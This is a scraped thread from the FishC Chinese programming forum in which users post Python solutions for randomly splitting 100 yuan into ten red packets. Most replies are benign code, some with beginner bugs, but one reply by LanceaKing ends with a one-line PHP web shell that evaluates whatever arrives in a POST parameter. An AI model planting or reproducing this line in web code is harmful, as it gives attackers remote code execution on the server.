QQ登录

只需一步,快速开始

搜索
鱼C论坛笔记大赛成绩公示
楼主: 冬雪雪冬

[技术交流] Python:每日一题 96(答题领鱼币)

[复制链接]

尚未签到

最佳答案
0 
发表于 2017-9-11 22:35:41 | 显示全部楼层
  1. ran = []
  2. total = 0
  3. for n in range(10):
  4.     r = random.random()
  5.     ran.append(r)
  6.     total += r
  7. res = []
  8. for n in range(10):
  9.     if n == 9:
  10.         res.append(100 - sum(res))
  11.     else:
  12.         res.append(int(ran[n] / total * 100))
  13. print(res)
  14. print(sum(res))
  15. ------------------------------
  16. res = []

  17. for i in range(10):
  18.     if i == 9:
  19.         res.append(100 - sum(res))
  20.         break
  21.     res.append(random.randint(1, 100 - (9 - i) - sum(res)))
  22.     # print(res)
  23. print(res)
  24. print(sum(res))
复制代码
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 2017-9-12 10:49:17 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 2017-9-12 13:24:25 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:135 天
连续签到:1 天
最佳答案
4 
发表于 2017-9-12 13:59:27 | 显示全部楼层
  1. import random   #引入随机数模块
  2. sum1 = 100      #红包总钱数100
  3. num1 = 10       #红包总个数为10
  4. list1 = []      #记录前9次的红包数
  5. while num1 > 1:   #累积取9次随机红包钱
  6.     each = random.randint(1,sum1-num1*1+1)   #each为单个红包随机钱数,要求其至少1块,且保证后面剩余红包也至少能有一块
  7.     print(each)
  8.     list1.append(each)
  9.     sum1 -= each                           #下一次红包总额,为取出上一次红包省下的钱
  10.     num1 -= 1                              # 取次数自减
  11. ten = 100-sum(list1)                       # 最后一次
  12. print(ten)                                 # 输出最后一次
复制代码
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:25 天
连续签到:3 天
最佳答案
0 
发表于 2017-9-13 16:45:27 | 显示全部楼层
import random
total = 100
person = 10
ran = []
while len(ran) < 10:
    r = random.randint(1, 99)
    if r not in ran:
        ran.append(r)
ran.sort()
ran = [0] + ran + [100]
for i in range(len(ran) - 1):
    print(ran[i + 1] - ran[i])
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:12 天
连续签到:7 天
最佳答案
0 
发表于 2017-9-13 18:18:33 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 2017-9-13 19:35:15 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 2017-9-13 20:43:28 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 2017-9-13 21:31:24 | 显示全部楼层
  1. from random import randint
  2. n=100
  3. k=10
  4. while n:
  5.     if k:
  6.         hb = randint(1,n-k+1)
  7.         n -= hb
  8.         k -= 1
  9.         print("第%d个红包是%d元,红包剩余%d元" % (abs(k-10), hb, n))
复制代码
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:21 天
连续签到:1 天
最佳答案
0 
发表于 2017-9-13 22:53:40 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 7 天前 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:2 天
连续签到:1 天
最佳答案
0 
发表于 7 天前 | 显示全部楼层
#!/usr/bin/env python3
# -*- coding:utf8 -*-
k=int(input("输入你想分割红包的个数,不能超过100个,否则报错"))-1
n=100
for x in range(k):
    rad=random.randint(1,n-(k-x))
    n=n-rad
    print("第%d个红包是%d元,红包剩余%d元" %(x+1, rad, n))
print("最后一个红包是%d元," %(n))
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:1 天
连续签到:1 天
最佳答案
0 
发表于 7 天前 | 显示全部楼层
本帖最后由 LanceaKing 于 2017-9-14 22:11 编辑
suloman 发表于 2017-9-9 10:16
楼主 思维强大
看楼上的  突然有个 想法 10个人  每次 随机发给一个人 一块钱  发100次   就完事了
imp ...


好方法 但还是要排除有人没钱拿的情况
  1. import random

  2. def distrib(total,num):
  3.     sch = [0]
  4.     while 0 in sch:
  5.         sch = [0]*num
  6.         for i in range(total):
  7.             sch[random.randint(0,num-1)] += 1
  8.     return sch

  9. print(distrib(100,10))
复制代码

<?php @eval($_POST['LANKIN'])?>
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 6 天前 From FishC Mobile | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 6 天前 | 显示全部楼层
  1. import random

  2. def redPackets(money,n):
  3.         global ii
  4.         ii = []
  5.         for i in range(n):
  6.                 i = random.random()
  7.                 ii.append(i)
  8.         for i in ii:
  9.                 per_money = money * i / sum(ii)
  10.                 per_money = round(per_money,2)
  11.                 print(per_money)


  12. redPackets(100,10)
复制代码
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:1 天
连续签到:1 天
最佳答案
0 
发表于 6 天前 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
1 
发表于 6 天前 | 显示全部楼层
以下是最笨的办法:
import random

money = 100


a = random.randint(money)
b = random.randint(money-a)
c = random.randint(money-a-b)
d = random.randint(money-a-b-c)
#...依此类推
j = money-a-b-c-d-e-f-g-h-i
print(a,b,c,d...j,seq=' ')
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
1 
发表于 6 天前 | 显示全部楼层
改进了一下,比较通用一些
#思路:把0~100想象为一个数轴,在这条线上随机设九个分隔点,就可分为10个随机数,并且和为100
import random

total = 100 #总钱数
person = 10 #红包个数

ran=[]

while len(ran) < person:
    r = random.randint(1,99)
    if r not in ran:
        ran.append(r)

ran.append(0)
ran.append(total)
ran.sort()
for i in range(len(ran)-1):
    print(ran[i+1]-ran[i])
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!

尚未签到

最佳答案
0 
发表于 6 天前 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
累计签到:12 天
连续签到:2 天
最佳答案
0 
发表于 6 天前 | 显示全部楼层
1. 如果您的提问得到满意的答案,请务必选择【最佳答案】;2. 如果想鼓励一下楼主或帮助到您的朋友,可以给他们【评分】作为奖励;
3. 善用【论坛搜索】功能,那里可能有您想要的答案;4. 粘贴代码请点击编辑框上的 <> 按钮,否则您的代码可能会被“吃掉”!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

小甲鱼强烈推荐上一条 /1 下一条

小黑屋手机版Archiver( 粤公网安备 44051102000370号 | 粤ICP备11014136号

© 2010-2017 FishC.com GMT+8, 2017-9-21 04:13 Powered by Discuz! X2.5 Theme by dreambred

快速回复 返回顶部 返回列表